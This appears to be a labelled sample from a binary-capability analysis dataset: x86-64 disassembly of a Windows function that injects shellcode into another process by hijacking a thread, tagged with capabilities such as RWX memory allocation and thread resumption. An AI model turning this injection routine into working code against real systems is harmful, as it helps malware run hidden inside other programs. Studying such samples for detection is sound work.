Function at 0x140011299
Capabilities:
Allocate or change rwx memory
Resume thread

Disassembly:
jmp 0x140011a90
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x7a8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x14e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x7c8]
mov rax, qword [0x140020280]
xor rax, rbp
mov qword [rbp + 0x768], rax
lea rcx, [0x1400260a2]
call fcn.1400113bb
nop
mov qword [rbp + 8], 0
mov qword [rbp + 0x50], 0
mov qword [rbp + 0x58], 0
mov qword [rbp + 0x60], 0
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x70], 0
mov qword [rbp + 0x78], 0
mov dword [rbp + 0x80], 0x10001f
mov dword [rbp + 0x84], 0
xor eax, eax
mov word [rbp + 0x88], ax
xor eax, eax
mov word [rbp + 0x8a], ax
xor eax, eax
mov word [rbp + 0x8c], ax
xor eax, eax
mov word [rbp + 0x8e], ax
xor eax, eax
mov word [rbp + 0x90], ax
xor eax, eax
mov word [rbp + 0x92], ax
mov dword [rbp + 0x94], 0
mov qword [rbp + 0x98], 0
mov qword [rbp + 0xa0], 0
mov qword [rbp + 0xa8], 0
mov qword [rbp + 0xb0], 0
mov qword [rbp + 0xb8], 0
mov qword [rbp + 0xc0], 0
mov qword [rbp + 0xc8], 0
mov qword [rbp + 0xd0], 0
mov qword [rbp + 0xd8], 0
mov qword [rbp + 0xe0], 0
mov qword [rbp + 0xe8], 0
mov qword [rbp + 0xf0], 0
mov qword [rbp + 0xf8], 0
mov qword [rbp + 0x100], 0
mov qword [rbp + 0x108], 0
mov qword [rbp + 0x110], 0
mov qword [rbp + 0x118], 0
mov qword [rbp + 0x120], 0
mov qword [rbp + 0x128], 0
mov qword [rbp + 0x130], 0
mov qword [rbp + 0x138], 0
mov qword [rbp + 0x140], 0
mov qword [rbp + 0x148], 0
xor eax, eax
mov word [rbp + 0x150], ax
xor eax, eax
mov word [rbp + 0x152], ax
mov byte [rbp + 0x154], 0
mov byte [rbp + 0x155], 0
xor eax, eax
mov word [rbp + 0x156], ax
mov dword [rbp + 0x158], 0
xor eax, eax
mov word [rbp + 0x15c], ax
xor eax, eax
mov word [rbp + 0x15e], ax
mov dword [rbp + 0x160], 0
xor eax, eax
mov word [rbp + 0x164], ax
xor eax, eax
mov word [rbp + 0x166], ax
mov dword [rbp + 0x168], 0
mov dword [rbp + 0x16c], 0
lea rax, [rbp + 0x170]
mov rdi, rax
xor eax, eax
mov ecx, 0x80
rep stosb byte [rdi], al
lea rax, [rbp + 0x1f0]
mov rdi, rax
xor eax, eax
mov ecx, 0x100
rep stosb byte [rdi], al
lea rax, [rbp + 0x2f0]
mov rdi, rax
xor eax, eax
mov ecx, 0x60
rep stosb byte [rdi], al
lea rax, [rbp + 0x350]
mov rdi, rax
xor eax, eax
mov ecx, 0x1a0
rep stosb byte [rdi], al
mov qword [rbp + 0x4f0], 0
mov qword [rbp + 0x4f8], 0
mov qword [rbp + 0x500], 0
mov qword [rbp + 0x508], 0
mov qword [rbp + 0x510], 0
mov qword [rbp + 0x518], 0
mov eax, dword [rbp + 0x7a8]
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, eax
xor edx, edx
mov rcx, qword [rbp + 0x790]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140011dbd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.VirtualAllocEx_error:_d_n
call fcn.1400111b8
nop
jmp 0x140011dce
mov rdx, qword [rbp + 8]
lea rcx, str.Remote_Address:_p_n
call fcn.1400111b8
nop
mov eax, dword [rbp + 0x7a8]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rbp + 0x7a0]
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp + 0x790]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140011e11
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.WriteProcessMemory_error:_d_n
call fcn.1400111b8
nop
lea rcx, str.Shellcode_Write_Success_n
call fcn.1400111b8
nop
lea rcx, str.pass__enter__to_execute_shellcode_n
call fcn.1400111b8
nop
call qword [sym.imp.ucrtbased.dll_getchar]
nop
mov eax, dword [rbp + 0x7a8]
lea rcx, [rbp + 0x28]
mov qword [rsp + 0x20], rcx
mov r9d, 0x40
mov r8d, eax
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp + 0x790]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x140011e74
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.VirtualProtectEx_error:_d_n
call fcn.1400111b8
nop
lea rdx, [rbp + 0x50]
mov rcx, qword [rbp + 0x798]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x140011e9e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.GetThreadContext_error:_d_n
call fcn.1400111b8
nop
mov rax, qword [rbp + 8]
mov qword [rbp + 0x148], rax
lea rdx, [rbp + 0x50]
mov rcx, qword [rbp + 0x798]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x140011ed3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.SetThreadContext_error:_d_n
call fcn.1400111b8
nop
mov rcx, qword [rbp + 0x798]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
nop
lea rcx, str.recover_success
call fcn.1400111b8
nop
call qword [sym.imp.ucrtbased.dll_getchar]
nop
lea rcx, [rbp - 0x30]
lea rdx, [0x14001cab0]
call fcn.14001134d
mov rcx, qword [rbp + 0x768]
xor rcx, rbp
call fcn.1400111d1
lea rsp, [rbp + 0x778]
pop rdi
pop rbp
ret